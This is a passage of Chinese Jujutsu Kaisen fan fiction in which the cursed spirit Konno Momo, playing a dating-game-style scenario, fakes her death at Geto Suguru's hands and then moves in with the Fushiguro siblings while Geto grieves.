上一次受这么重的伤,还是因为那个叫做禅院甚尔的男人吧。当时也是,如果夏油杰没有用咒力护住胸口,估计也要当场死亡。 “杰,你这个样子真的好吓人,让我一点恋爱的心都没有了。”五条悟趴在椅背上,长吁短叹。 “所以说啊,还是单身比较安全。”家入硝子吐槽道,“咒术师的爱……太扭曲了。” 夏油杰闭上了嘴巴。 手机铃声响起,五条悟低头一看,扬起了眉毛。 “哇,表世界的那些人……比我们想象的速度要快很多嘛。”他举起手机,在两人面前晃了晃,“已经有人提出,要把它奉为神明了哦。” 这也算是另一种打不过就加入吧。 不然呢,难道还真的跟它死杠吗?那不断增加的数字可都是一条条生命啊! 夏油杰开了个玩笑道:“这种事情,你们五条家也有记载吗?” 出乎意料,五条悟还真的点头了:“有啊,怎么没有。” 夏油杰和家入硝子都扭头看着他。 五条悟清了清喉咙,开口道:“就是两面宿傩啊!” 两面宿傩?好像在书上看见过。 “两面宿傩,一千年前平安京最强大的存在,被称为诅咒之王。有人说他是人类,有人说他是诅咒。因为他有四只手,四只眼睛,传闻肚子上还有一张嘴。” 五条悟往嘴里扔了颗糖说道。 “为了讨伐他,平安京死了很多咒术师。最后没办法,只能把他迎进平安京,奉他为祭神咯。” 历史重演,如今又有一个咒灵之王要拥有两面宿傩的地位了。 “那最后结果怎么样?”家入硝子问道,“两面宿傩被招降了?” “算是吧,反正后来他也没有再兴风作浪了。” 比起第一个方案,还是后者更能让人接受吧。难怪表世界的动作会这么快。 “所以,现在外面有人对它的态度很暧昧啊。”五条悟推了推眼镜,意味深长地说道,“到底要不要祓除它、怎么祓除,该付出多少代价……现在还争论不休呢。” 夏油杰躺在病床上,看着天花板发呆。 “算啦,这种事情已经跟杰的关系不大了吧。”五条悟拍了拍他的被子,说道,“先好好养伤,杰。” “……嗯,辛苦你们了,悟,硝子。” “应该的咯。”家入硝子摸了摸口袋里的烟盒,起身往外走去,“我出去抽根烟。” 五条悟本该坐在这里守着虚弱的病人,但他啧了一声,跟着站了起来:“我去买点吃的。” 病房里一下安静了。不知道什么时候,窸窸窣窣的声音若有似无。好像有虫子慢慢地顺着缝隙爬了进来,并且越来越近。 发丝一样的黑色雾气自床腿攀附而上,一点一点淹没了夏油杰的身体。 森冷的寒意覆盖上他的四肢,让他忍不住打了个哆嗦。 “……小桃。”他低声喊道。 “被你发现了呀。”俏皮的声音从四面八方响起,“杰好聪明呢。” 其实没有发现,但五条悟的表现让他心生疑惑。他不觉得在自己最脆弱、最危险的时候,自己的好友会离开他的身边。 尤其是外面还有人想杀掉他作为祭品,献祭给她。 “我以为……你不会想看见我了。”夏油杰用几不可闻的声音说道。 “怎么会呢。”咒灵凝聚出身体,她弯着眼睛,笑眯眯地说道,“我会把你留在最后一个杀死,让你实现你的理想。” 她握住他的手腕,将自己的手指扣进他的指缝,音调又细又长。 “杰,咒灵玉好吃吗?” 夏油杰有些无奈:“你应该知道的。” “是啦,我知道。所以我问你,”她靠近了他,眼睫毛都几乎要碰在一起了,“想不想改变咒灵玉的味道?” 夏油杰的心微微一跳。 他知道,她可以做得到。 但是…… “不需要。”他长长地叹了口气,“小桃,我不需要。” 咒灵脸上的那点笑意立刻收了起来。 当她面无表情的时候,那股非人感就相当明显了。 温情被瞬间打破,她拽住了夏油杰的长发,狠狠揪住。 “你以为你可以逃得掉吗?”她俯视着他,一字一句里满是恨意,“你应当,跟着我一起去地狱。” “当然。”笑容似乎移到了夏油杰的脸上,他看着她的目光深沉厚重,瞳孔中的碎光像是洒在黑绒布上的紫水晶,“我们当然要一起去地狱的。” 咒灵审视着他。良久,她一言不发地低头。 这是一个带着血腥气的吻。夏油杰感觉自己的舌头都要被咬下来了,她仿佛真的要把他吃到肚子里去。 大口喘着气的时候,他听见她在他的耳边说: “你也在恨我啊,杰。” 【夏油杰好感值:95】。 五条悟和家入硝子走进病房,夏油杰仍然躺在那里。 房间里的摆设跟他们离开前没有区别,想象中的化作废墟更是无稽之谈。 家入硝子上前给他检查身体,看见腹部绷带上渗出一片血迹。她的表情变得无语,只能掏出一卷新的绷带。 “禁止剧烈运动。”她冷冷说道。 “哈哈,抱歉抱歉。”夏油杰笑道。 五条悟斜靠在墙边,打开了手机说道:“休假结束咯,杰,任务要来了。” “什么任务?” 五条悟的眼珠转动,扫过屋子里的残秽,说道:“总监部决定联合禅院等咒术师家族一起,向咒灵发起总攻。不成功,便成仁。” 这句话的尾音上扬,带着些许嘲讽的意味。 多相 似啊,所以他们就是千年前死在两面宿傩手中的[日月星进队]和[五虚将]吗? 这一去,恐怕十死无生。 夏油杰深吸了一口气,缓缓吐出。 “悟,让他们停下吧,我知道该如何祓除她了。” 第69章 这是一场做好了十足准备的战斗。 夕阳将教学楼染成血红色,碎裂的玻璃窗把昏暗的光线切割成菱形,灰尘在漏下的斑斑点点阳光中无声地起舞,仿佛在为谁谢幕。 禅院家的秘术“落花之情”能够自动反击咒术,有点像简易版的“无下限”。禅院直毘人用这一招,恰好能够应对这个咒灵的领域。咒力在周身环绕,将他们的灵魂保护住。 然后抓住时机,五条悟对她使用了最强的招数:虚式茈。 根据情报,这个咒灵是免疫物理攻击的,但五条悟的这个大招还是会对她造成些许影响,她并不愿意用脸去接。之前就是,故意移动到了五条悟的后方。 于是,咒术师一方步步为营,将她逼到了事先准备好的陷阱之中。 “夏油!” 在呼喊声中,夏油杰如计划中朝她扑了上来。 他抱住了她。非常用力,仿佛想把她和他揉为一体。 今野桃挑眉,笑道:“怎么,要在战场之上向我投降吗?这样的话,或许我也不是不能接受……” 有着可以吞吃武器的能力的咒灵丑宝出现在她的身后,在她看不到的地方,夏油杰伸出手抽出了禅院家交给他的咒具——释魂刀。 准确地说,是释魂刀的复刻品,正品已经在禅院甚尔的手中丢失。 不过它们的作用都是一样的,能够无视一切物体的硬度,直接对灵魂进行攻击。 长刀贯穿了她的胸口,也贯穿了他的心脏。这一次,他没有使用咒力保护伤口。 夏油杰看见她骤然抬头,用不可置信的目光看着他。 “这不可能……”她喃喃着。 “没有什么是不可能的,小桃。”夏油杰揽着她落在窗台上,用手指将她鬓边的碎发拨到耳后,温柔地说道,“就像我从前也没有想过,自己会成为这样一个虚伪又胆小的人。” 她的眼圈泛起了红色,眸子里仍然带着恨意。 “你以为……这样就能杀掉我吗……”她想要后退,只要拔出刀……她还能使用无为转变…… 一根黑色的绳子从他的袖子里滑下,将他们牢牢地绑在一起。 巧得很,今野桃也认识它。这不是她曾经用过的“黑绳”吗?可以扰乱咒术,使对方无法使用咒力。 “其实我有想过,如果小桃没有遇见我,一定会过得更加幸福。”夏油杰感慨道,“因为小桃就是那种,不管在哪里都能很快乐的人。” 咒灵抬起手,狠狠地掐住了他的脖子,把他按在走廊的栏杆上:“你要说,你后悔认识我了吗?” 她的虎口卡着他的喉结,感受到对方颈动脉的跳动。 夏油杰的声音有些沙哑,他没有挣扎,只是用掌心覆盖住了她的手背:“我怎么可能后悔,离不开小桃的人,是我啊。是我不能没有你,而不是你不能没有我。” 有一滴泪水从咒灵的脸上滑落:“说出这样的话……难道你觉得我会放过你吗!” “哈哈。”夏油杰笑了,“还不明显吗,我想要跟小桃一起去地狱呢。让我们彼此诅咒,不好吗?” 咒灵沉默了。 “小桃说我恨你……大概是有点吧。”他长吁短叹地说着,“恨你怎么不早点出现,恨你为什么不是咒术师……总之,大概是恨命运为什么不能更善待我吧。” 咒灵用力瞪他:“你还真是想得美啊,我难道是你的保姆吗?还要承担起你的人生!” 夏油杰亲昵地用脸颊蹭了蹭她:“不是保姆,是我的恋人。” 分享着他的丑陋,见证他的无能。 咒灵的咒力已经无法维持住她的人形了,黑色的影子和室内的阴影连成了一片。 “下辈子……绝对不要再见到你了!”咒灵呢喃着。 “啊,如果有下辈子,那我想做小桃的小狗。”夏油杰大笑道,“可以保护小桃哦。” 咒灵没有说话,只是松开了手。她失去了形体,黑绳坠落在地上。 夏油杰听见她说了最后一句话。 “……你这个骗女人的家伙。” 释魂刀被猛地拔出来,却并无鲜血飞溅。黑色的咒力用力撞向了他,如棉花般堵住了他的伤口,又丝丝缕缕地被他的皮肉吸收。 “小桃?”从高楼上翻出来,风声在耳边呼啸,但夏油杰的第一反应却不是自救。 他朝着上空用力抓了一把,黑雾自他的指缝里流走,最后什么都没有留下。 朦胧中,有淡淡的光芒逐渐消散。欢呼声响起,昭示着咒术师们的胜利。 五条悟接住了他。看见好友胸口破破烂烂的衣服,五条悟慌张地把他举起来,冲向了家入硝子。 “硝子!硝子救命!” 但硝子到来之前,夏油杰摸了一下心口的位置,那里一片光滑。 被贯穿心脏,好像只是他做的一场梦。 “太好了!是我们赢了!” “哈哈,不愧是和五条悟不相上下的优秀咒术师啊!” “不错,以前的事情就算了,看在你立下大功的份上……” 乱糟糟的声音吵得他头痛,夏油杰蹲下,明明没有受伤,却有一种喘不过气的感觉。 他们在庆祝他杀死了这个世界上,最爱他的人。 而她没有杀死他。 她把他抛在了这个人世间。 【夏油杰好感值:100】 你真的好残忍啊,小桃。 为什么要成为我抓不住的救命稻草呢? 【夏油杰—爱与恨(BE) ——你是他最恨的世界里最爱的人。可是恨的人没死成,爱的人没可能。】 夏油杰跌跌撞撞地起身,朝远处跑去。他抓住了一只最低级的蝇头,将它揉成了咒灵玉。 他张嘴,把它吞了下去。 没有味道。 他像是吞下了一团冰凉的果冻,什么味道都没有。他的喉头滚动几次,最后无力地跪在了地上。 “说好了,一起去地狱的啊……” 干涸的土地被洇湿了一小块…… 感受到分身死亡,今野桃自嘲地笑了笑。 “看样子,如果角色没有死亡的话,即便打出了BE结局,游戏也依然可以继续进行。”她将新的发现记在了心中。 之前的那几个周目里,两面宿傩、伏黑甚尔、夏油杰和七海建人玩到了最后,不是她死掉,就是攻略对象死掉,肯定是没法继续下去的。五条悟那个周目是她自己退出了,因为感觉希望渺茫。 “不知道……同一个周目里能不能同时攻略多个人,拿到多个HE结局呢?” 早就想验证自己的这个猜测,如今终于有机会了。 咒术师们早有准备,她何尝没有提前准备呢?甚至她还有存档,能够做得比他们更好。 无为转变这个术式能够将自身分裂成两个甚至多个单独存在的个体,分身虽然也拥有变形的能力,但无法使用领域。 咒术师们对她实在太害怕了,她还没用领域呢,就迫不及待地使出了“落花之情”。她只好装模作样地让自己看起来输了,主动走进了陷阱之中。 终于,让她拿到了夏油杰的最后5点好感值。 古早的狗血故事能流传这么久还是有它的道理的,死遁后追悔莫及是人类的劣根性,只有失去的时候,才能意识到曾经拥有过是多么幸福。 然而时光难以回头,死亡不会怜悯任何人。 “接下来,就按照计划出发吧!”她打起了精神。 今野桃离开了东京这个繁华而冷漠的大都市,来到了关东地区的埼玉县。 她走得轻松,将痛苦都留给了别人…… 伏黑惠背着书包,和姐姐牵着手并肩走出了校园。远远地, 他看见了一个熟悉的人影。 他惊喜的同时,又松了一口气。 他快步跑了过去,站在这个坐在台阶上的女生的面前,低头看着她,说道:“小桃学姐,你去哪里了?这么久没有来学校。” 他真的非常担心她,到处打听,也只知道她转学了。 可是,为什么转学会失去联系呢?连消息都不回。 “啊,是小惠啊。”女生抬起头,对伏黑惠笑了笑,“因为最近有点忙嘛,所以就没有来学校,让你担心啦。” 伏黑惠不轻不重地瞪了她一下,嘟囔着说道:“我才没有担心你。” “哈哈,抱歉抱歉。”女生双手合十,连声说道。 “你要去我家玩吗?我是说……”小小一个的男孩子,竟然还装起大人来了,“津美纪也很想你。” “真的吗?如果不介意的话,我可以去你家玩哦。”今野桃弯着眼睛笑道。 说得好奇怪,什么叫做不介意,她又不是没有去过他家里。 伏黑惠不解其意。 就在这时,伏黑津美纪也小跑着过来了。 “小惠!”她撑着膝盖,喘了口气说道,“不要到处乱跑啊!” “我没有乱跑呀。”伏黑惠有些不高兴,“我是看见小桃学姐在这里才过来的。” 伏黑津美纪愣住了。 良久,她小声地说道:“可是……小桃学姐在哪里?” 伏黑惠的身体一僵。 明媚的阳光下,他的小桃学姐……没有影子。 不可能的吧,小桃学姐,怎么可能会死呢…… 第70章 伏黑津美纪是个普通人,所以看不见咒灵,也看不见今野桃。 人面对不可知的事物时,总是会觉得恐慌。但即便如此,她还是带着她和伏黑惠一起回家了。 “啊……小桃学姐要喝茶吗?”津美纪端着托盘,放在桌子上。 “……”伏黑惠犹豫了一下,说道,“姐姐,小桃学姐在这边。” 津美纪把茶递错方向了。 津美纪眨了眨眼睛,从善如流地换了个角度。 她看着茶杯被举起来,然后里面的茶水一点点减少。 “好厉害啊……”她由衷地感慨,“感觉像是透明人。” 她和伏黑惠都没有去问今野桃的身上发生了什么,只是用温柔包裹住她,关心着她。 今野桃喝了小半杯茶,放下茶杯后,目光怔怔地看着杯子里倒映着的天花板。 伏黑惠并不是善于言辞的人,而津美纪看不见今野桃,也不知道该说什么。 好在她们都还是小孩子,所以不会觉得很尴尬。 “小桃学姐……等下要去哪里吗?”伏黑惠迟疑地开口道。 “没有哦,没打算去哪里。”今野桃笑了笑说道,“我啊,在这个人世间已经没有别的可挂念了,除了你和津美纪。所以想着,再来看一看你。至于以后,我也不知道了呢。” 以后……小桃学姐还有以后吗? 伏黑惠难过地想。 “那、那小桃学姐不如住在这里吧!”这句话脱口而出,引得津美纪和今野桃都看向他。 伏黑惠的脸一下子就红了,他这才想起,自己还没有询问过津美纪的意见。 “姐姐,小桃学姐现在也没有地方可去,能不能让她留在我们家?”他期盼地看着姐姐。 如果是个男生,津美纪是绝对不会答应的。但小桃学姐不仅同是女孩子,也对他们姐弟俩有过莫大的帮助,于是她点点头说道:“当然可以,小桃学姐想在这里住多久都行。对了,那我去把客房打扫出来吧。” 说完,她就要起身。 “先不着急。”今野桃拉住了津美纪的手。 津美纪顿时愣住了。明明什么都没有,但她确实是感觉道自己被拉了一下。 “是小桃学姐。”伏黑惠告诉姐姐。 今野桃摸了摸他的头发,开口道:“你帮我问问津美纪,愿不愿意拥有咒术,这样以后她也可以看见咒灵了。” “姐姐也可以看见咒灵?!”伏黑惠又惊又喜,连忙问姐姐,“姐姐,小桃学姐让我问你,你愿不愿意跟我一样拥有咒术!这样以后我能看见的东西,你也能看见了!” 津美纪几乎没有思考就回道:“我愿意。” 这个想法在她的脑海中盘桓很久了,尤其是在伏黑惠因为看见了奇怪的东西而扑到她怀里抹眼泪的时候,她都失落于自己为什么是个普通人。 她对于有没有咒术并不在意,她只在意自己的弟弟。在被母亲抛弃后,她一直和他相依为命。 今野桃想了想,伸出手开始对她进行改造,将她的咒力提升到了差不多三级咒术师的水平,然后把“游戏地图”赠与了她。 伏黑津美纪眨了眨眼睛,清晰地看见眼前出现了熟悉的人影。 “小桃学姐!”她的脸上露出了笑容,然后很快就淡了,“小桃学姐,你……你瘦了好多。” 今野桃的表情也顿住了。 之前夏油杰失联的时候,她的心情焦虑,影响到了胃口,食欲不佳,自然就瘦了。 谁都没有发现,只有津美纪。 “是吗,那我没有变丑吧?”她故意打趣道。 “没有呢,小桃学姐还是那么漂亮。”津美纪握住她的手,感受到掌心冰凉。 “那就好。”今野桃点了点脸颊,说道,“我赋予你的这个咒术没什么杀伤力,但用来自保和辅助很不错。你可以通过这个咒术,感知身边谁对你带有善意,谁又对你心怀不轨。” “太好了,这样就足够了……谢谢你,小桃学姐,请把这里当做家一样吧!” 伏黑惠看看今野桃,又看看津美纪,她们两人正在互诉衷肠,谁也没有搭理他。 于是他将两只玉犬召唤了出来。 从前哪怕玉犬在津美纪的脚边打转,她都毫无反应。而现在,她惊呼一声:“哪来的小狗?” 伏黑惠挺了挺胸膛,故作淡然地说道:“是我的玉犬。姐姐喜欢吗?” 他自以为不会被发现地用眼睛偷偷看着津美纪的神情,没有发现厌恶,悄悄松了口气。 “喜欢。”津美纪蹲下,用手抚摸着玉犬的背,毛绒绒的触感让她微微扬起了眉毛,“好神奇,小惠竟然能召唤出小狗诶!” “是玉犬,玉犬啦。”伏黑惠严肃地纠正她,“不是小狗。” 两只玉犬配合地汪了一声。 津美纪开心极了。 和喜欢的学姐重逢,获得了特殊的能力,与弟弟的关系更加亲近……多么美好的一天啊! 今野桃也很满意。唯一美中不足的,是伏黑惠现在还太小了。五六岁的年龄,别说恋爱了,只是想一想都觉得自己应该立刻被抓起来枪毙。 怎么也得等到十五岁往上吧! 今野桃尝试拉了一下时间轴,然后发现伏黑惠的好感值从70掉到了40。 这个做法相当于跳过了所有特殊事件,好感值下降是必然的。 今野桃思来想去,决定把时间跳到六年以后,伏黑惠小学毕业的那年。 恋爱是不可能的,但可以培养一下好感值嘛。 今野桃打定主意,将时间线拉到了伏黑惠十二岁。现在的他看上去和禅院甚尔有八分相似,完全是一个模子刻出来的。 不过大概是得到了更多的爱,他的气质和禅院甚尔有很大的不同。 乖巧、听话、沉默但不孤僻……是很多人想要的那种小孩。 “那么……给小惠准备一个毕业礼物吧!”。 “老师——救命——”被拉长的呼喊声被风送过来,五条悟原本迷糊的神智立刻清醒,他拉开窗户,从教学楼里跳了下去。 “怎么了?”他皱着眉,将半边身体都是血的学生拎起来,再抄起喘着气背了同窗一路的那个,飞快地朝着医务室奔去。 几个呼吸的时间,他们就冲进了医务室中。家入硝子将口中的巧克力棒咬碎,快步上前。 在她治疗的时候,五条悟重复了 一遍刚刚的问题:“发生什么了?怎么会受这么重的伤?我记得你们做的不是一个二级的任务吗?” “不、不是二级……” 五条悟豁然起身,差点被气笑了:“故技重施?我看总监部是觉得他们的办公室太新了吧?” 当初对他们用过的小伎俩如今又想在他的学生身上用一遍? “不是啦!”终于把气喘均匀了,学生尴尬地说道,“我们把那个二级任务做完了,然后在回来的路上碰到了一个一级咒灵……我们没打赢……不过我们成功跑掉了!” 五条悟沉默了。他推了推眼镜,开口道:“没有及时通知辅助监督和老师,三千字检讨,明天给我。” “呜呜……”受了伤还要写检讨,病床上刚刚醒过来的学生都流泪了。 家入硝子没忍住,低头笑了笑。 “有点奇怪的感觉了。”她说道,“当初的你写检讨,现在的你让学生写检讨。” “不要在学生面前揭穿我嘛。”五条悟嘻笑道,“我还是要面子的。” 那就少做些丢面子的事情啊。 家入硝子暗暗摇头,她刚要开口,又有人走进来了。 来人穿着和五条悟差不多的衣服,一看就知道同样是高专的老师。只不过他的黑色长发半披在身后,还扎了个丸子头,显得有几分不逊。 “悟?你怎么在这里?” “这句话该是我问你才对吧?”五条悟上下打量了一下好友,皱着眉说道,“你怎么这么憔悴啊,杰。” “很憔悴吗?”夏油杰摸了摸自己的脸,轻咳了一声说道,“没事,我不在乎外表。” 五条悟耸了耸肩膀,一只手搭在他的身上:“你受伤了?” “没有,放心好了,只是有点累而已。”夏油杰对家入硝子说道,“要麻烦硝子帮我恢复一下精力。” “诶?!”五条悟愣了一下,“你的任务这么多?” “不是任务。”家入硝子把学生的伤势稳定住,淡淡地开口道,“这家伙,到处收集咒灵,每天只睡五个小时。” 五条悟不可置信地“啊?”了一声:“你竟然背着我偷偷加班!” “没那么夸张啦……”夏油杰失笑道,“只是闲着没事干,所以……” “你现在持有的咒灵数量,达到一万个了吗?”家入硝子抱着手臂问道。 夏油杰沉默两秒,在两个同窗的逼视下,不情不愿地说道:“也没有那么多……好吧,大概八千个左右吧。” “八千?!”五条悟吐槽道,“你不会把整个日本的咒灵都吃掉了吧?!” “你说得太夸张了啦,悟。”夏油杰扶额道,“连三分之一都没有呢。” “……三分之一就已经很吓人了。”五条悟绕着夏油杰转了个圈,“真是难以想象啊,你竟然能吞下那么多咒灵……你的时间估计全花在吃咒灵上了吧,真的不会猝死吗。” “放心好了,不会的。”夏油杰安抚道,“我有分寸。” “不行啦,你还是……”五条悟的话没说完,家入硝子打断了他。 “五条,你的学生是留在这里还是你带走。” “让他们自己回去。”五条悟转移了注意力,他撇撇嘴说道,“难道还要我送?” “不用不用,谢谢家入老师,我们自己会回去!”两个学生连声说着,眼看伤好得差不多了,赶紧告辞离开。 家入硝子可有可无地点了点头,对夏油杰说道:“我不会帮你用反转术式恢复精力的,你现在最需要的,是回去睡觉,好好休息。” 夏油杰垂下眼睑:“抱歉,硝子,那个咒灵比较危险,所以……” “是特级?” “啊,不是,是一级……” 家入硝子当场打了个电话给七海建人:“七海,有个一级咒灵你看你方便过去祓除一下吗?” 对方给了肯定的答复。 两人很快交流了一下情报。 一分钟不到,问题解决了。 “或者我还可以打电话给冥冥,当然,钱你来付。”家入硝子把玩着手里的巧克力棒,语气平静地说道。 “我也行,我不要钱。”五条悟凑了过来,笑吟吟地说着。 夏油杰沉默了。 同窗的关心让他很感动,但他并非是为了咒灵而拼命做任务。他们……根本就不理解,也无法理解他。 “别把自己逼死了。”家入硝子挪开视线,说道,“没必要。” 没必要吗……夏油杰苦笑了一声。 不让自己耗空所有精力,不让自己筋疲力尽到睡觉都不会做梦,他哪里敢躺下来,哪里敢闭上眼睛。 他怕自己梦见她,又怕自己梦不见她。 “监督他好好休息一段时间放松一下吧,五条。”家入硝子对这种不爱惜身体的人没什么好说的了,“别让他继续做任务了,我可不想有一天听见他猝死的消息。” “没问题,交给我吧。”五条悟拍拍胸口,“杰,反正你也有空,明天我们去参加毕业典礼怎么样?” “……毕业典礼?” “嗯哼,是我收养的那个小孩哦。”五条悟大大咧咧地说道,“虽然是放养的,但毕业典礼这么重要的事情,总得去看看吧。” 夏油杰没什么兴趣:“不去。” “去嘛去嘛,我一个人去的话好无聊诶……” 70-80 第71章 “小桃姐姐。”伏黑惠在毕业典礼的前一天,期期艾艾地对今野桃说道,“那个……你明天还是不要过去了。” 今野桃愣了一下:“小惠是不希望我去参加你的毕业典礼吗?” 几年时光相处,他们一家人的感情越发地深厚,伏黑惠也早就改口叫她“小桃姐姐”,而不是当初生疏的“小桃学姐”。 “我不是那个意思!”伏黑惠连忙摇头,他纠结了许久,还是实话实说了,“父亲去世后,他拜托了一个人来照顾我。他应该是咒术师吧?” 小学毕业的伏黑惠已经不再是过去那个什么都不懂的幼儿了,他开始思考更多的问题。 “照顾你?”今野桃心里有了一个人选,她迟疑地问道,“是不是姓五条?” 伏黑惠睁大了眼睛:“小桃姐姐认识他?如果认识的话,那小桃姐姐就一起来吧。” 他不让今野桃来参加他的毕业典礼,就是怕两人遇到。小桃姐姐是咒灵,而那个男人是咒术师。他担心他们碰面后,小桃姐姐会被祓除。 “认识……算是认识吧,五条悟的话,很有名呢。”今野桃挠了挠脸颊。 伏黑惠和五条悟会认识,这是她没有想到的。 不过,仔细想想,禅院甚尔会把孩子托付给五条悟,似乎也能理解。毕竟当年她也当做“遗产”被提起过呢。没有自主能力的幼儿会被他特意交出去,也在情理之中了。 “那个男人,看起来很强的样子。”伏黑惠忧心忡忡地说道,“我害怕小桃姐姐离开我们……” 今野桃蹲下,摸了摸伏黑惠的脸颊。他的眼睛是上扬的,有点像是丹凤眼,下巴也尖尖的,已经可以看出未来的好模样。 “我是咒灵诶。”今野桃的脸上带着意味深长的笑,“你以后应该也会成为咒术师吧,咒术师和咒灵,是完全不同的两个阵营哦。” 伏黑惠的神色有点懵懂,他摇摇头说道:“小桃姐姐不是咒灵,是家人。” “真是的,”今野桃轻轻叹了口气,“万一我做了很多坏事怎么办?” 伏黑惠抿了抿嘴,两颊的婴儿肥还没彻底消失,显得有几分稚嫩。 “但是小桃姐姐对我很好。”他握紧了拳,认真地说道,“我相信小桃姐姐就算做了错事,也一定是有原因的!” 今野桃无奈地拍了拍他看似扎手其实柔软的炸毛短发:“有你这句话,以前的痛苦好像都消失了呢,我们的小惠真是 个贴心的乖宝宝。” 伏黑惠有些不自在,但还是握住了她的手,郑重地说道:“都会过去的,小桃姐姐。” “行,那我就不过去了,有什么事打电话给我。”今野桃对他眨了眨眼睛,“我在家里给你准备惊喜。” 伏黑惠很高兴地应道:“好!” 今野桃并不想这个时候见到五条悟,他太敏锐又太难缠。希望伏黑惠能把他留在学校,不要带回家里来。 只是……莫名的,她想到了一个词语。 墨菲效应。 即如果一件事情有可能会变坏,那么不管可能性有多小,它必定会发生。 哈哈,她不会这么倒霉吧? 不过如果真的这样……那她只能读档了。 没错,无敌的玩家才不会出现意外!。 伏黑惠背着书包,准时在校门口看见了那个身材高大的白发男人。他站在人群之中,完全是鹤立鸡群。 但他不是一个人来的,白鹤的身后,还跟着一只渡鸦。 不知道为什么,伏黑惠看见那个黑发男人就不是很喜欢。 “哟,小惠。”五条悟朝他打了个招呼。 伏黑惠张了张嘴,一时间不知道该喊什么。 五条悟几乎不来看他,但每个月会有一笔钱定时打过来,说是生活费。说起来,会让两个小孩自己打理生活,也能看出五条悟对他不是很上心吧。 “五条……大人?”他试探性地喊道。 “哈哈,叫我老师吧。”五条悟对此并不在意,“等小惠初中毕业,也该进高专了。” “好的,五条老师。”伏黑惠尊敬地说道。 “这是夏油杰,也是你未来的老师。”五条悟指了指身后的男人说道。 “夏油老师。”伏黑惠跟着喊了一句。 夏油杰目不转睛地盯着伏黑惠的脸,勾住了五条悟的脖子,几乎是咬牙切齿地说道:“你没跟我说,你收养的这个孩子是那个差点把我杀掉的男人的儿子啊!” 五条悟忍了又忍,还是没忍住,终于哈哈大笑起来。 “没错没错,我就是想看你这副超——级震惊的样子,所以才故意不提前告诉你的!”五条悟的身体都在颤抖,“有没有被吓到,杰!” “谢谢,确实有被吓到。” 那个男人在他的胸口上划下了不可愈合的伤口,碾碎了他的高傲,让他经受了人生的第一次重大挫折。 “好啦好啦,我们走吧!”五条悟笑嘻嘻地搭着夏油杰的肩膀说道,“可别错过了我们小惠的开学典礼。” 伏黑惠一言不发地带着两个没有正形的大人走进礼堂。在外人面前,他总是会沉默很多。 伏黑津美纪也来了,她当然不会错过弟弟的这个重要时刻。 因为有提前通知,津美纪给他们占好了座位。 “感觉时光真的过得很快呢。转眼间,小惠也这么大了。”津美纪如是感慨道。 夏油杰已经从好友那里得知了两个孩子的身世,闻言露出了温柔的浅笑:“你们两人相依为命,也辛苦了。” 津美纪对此并没有反驳。 姐弟两个早就达成了共识,在外面一个字不会提起关于小桃姐姐的存在。 “接下来是要发言了吗?可惜今年小惠没有被评上优秀毕业生呢。”伏黑津美纪有些失落。 “那种事情完全不想要。”伏黑惠想到自己要站在台上发言,头皮都开始发麻了。 埼玉县浦和中学是一所一贯制学校,小学、初中和高中都在一个地方。因此,来参加毕业典礼的人有很多。走出礼堂,到处都是穿着和服、正装的家长和小孩。 夏油杰忽然在门口停住了,他回头望去,目光有些怔愣。 “怎么了,杰?”五条悟问道。 他沉默许久,开口道:“小桃以前,就在这里读书。” 但她没能从这里毕业。他也没能看见她穿着和服的样子。 “如果是小桃的话……她一定会是优秀毕业生的。”他喃喃道。 小桃…… 伏黑惠和伏黑津美纪对视了一眼。 会是重名吗? 五条悟没有接话。这种话他也不知道该怎么接。安慰的话语已经重复过无数遍,但心没能走出来,说再多也是无用功。 忽然,一道粉色从余光处掠过,夏油杰下意识地望了过去,然而它很快就消失了,来来往往的人潮挡住了他的视线。 “等等!”他追了上去。 在人群中挤来挤去,夏油杰终于看见了这个背影。她带着粉色的桃花状绢花,穿着粉色的和服,手里还拎着一个袋子。 袋子上挂着一个很小的零钱包,包上绣着一朵桃花。 是她吗……? 此时此刻,其他人在他的眼中已然成为了模糊的背景,只有她是清晰的。 是她,一定是她! 眼看这个背影就要淹没在人海之中,夏油杰极力伸出了手,狰狞的咒灵自他的掌心飞出去,变得又细又长,像是绳子一样。 “杰!”五条悟哪里能让他在这么密集的人群中使用咒灵,赶紧去阻止他,“你疯了吗?我可不想都做老师还要写检讨!” 夜蛾正道一定会让他们字数翻倍的! “小桃!”夏油杰的呼喊没有说出口,五条悟一把捂住了他的嘴巴。 “你认错人了!”他受不了地说道,“她不是小桃!” 果然,在拐弯的时候,女人露出了侧脸,那是和他记忆中的恋人完全不同的外貌。 夏油杰闭上了眼睛,深深地吸了一口气。 “幸好没有别人看见,不然我们这个检讨是写定了。”五条悟嘀嘀咕咕地说道。 “抱歉。”他抹了一把脸,强笑道,“是我太冲动了。” 确实太冲动了,都把两个孩子给吓到了。 伏黑津美纪站在伏黑惠的身前,呈现出一种保护的姿态。因为五条悟背对着两个小孩,所以两个小孩的动作稍微大了一点。 伏黑惠看着那个突然出现的咒灵,像是想起了什么似的又望向姐姐。伏黑津美纪皱了皱眉,目光扫过那个咒灵后飞快地移开,仿佛什么都不知道。 “五条老师,我和小惠去拍照,您和夏油老师要一起来吗?”她温柔地问道。 五条悟推了推眼镜,回道:“不了哦,你们去吧。” 两个小孩牵着手离开,五条悟看着他们的身影,陷入了沉思。 “怎么了,悟?”夏油杰发现身边好友的不对劲。 “唔……发现一个有趣的事情。”五条悟抓了一把自己的头发,苦恼地说道,“我记得当初调查过,那个女生……小惠的姐姐,明明是个普通人吧?但她刚刚好像能看见咒灵诶。” 夏油杰的心猛地一跳。 第72章 听见五条悟说的话,夏油杰很久没有吭声。他像是被扯掉了声带,嘴巴开合了几次,却一个音节都发不出。 过了很久,他仿佛梦游般呓语道: “你的意思是……” 五条悟有点受不了:“刚刚还那么激动呢,现在真的有点希望了,反而畏首畏尾。” 夏油杰沉默着。 悟不懂,近乡情更怯,不外乎如此。 “当然,我什么都不能保证。毕竟虽然咒术师们一般的觉醒年龄都是六岁之前,但也不代表就一定没有六岁以后觉醒的。而且万一人有点奇遇呢,对吧。” 五条悟说着说着,语气就有点阴阳怪气了。 夏油杰无奈地看了他一眼,低声说道:“我知道了,到底是怎么一回事,我会去调查清楚的。” 他先去打听了一下,确实如悟所说,伏黑津美纪对外一直都没什么特殊的地方,她的风评很好,人也温柔,左邻右舍都对她颇为照顾。 伏黑惠就不行了。有人看见过他对着空气自言自语,还莫名其妙在街上狂奔,总之就不是正常的样子。 大家一致认为,伏黑惠可能是因为这个所以才被亲生父亲丢掉的。 夏油杰忍耐着厌烦,听着这些邻居的闲话。 他很清楚伏黑惠为什么会这样做,眼前的这些人就显得更加庸俗又可笑。 没有咒力的……猴子…… 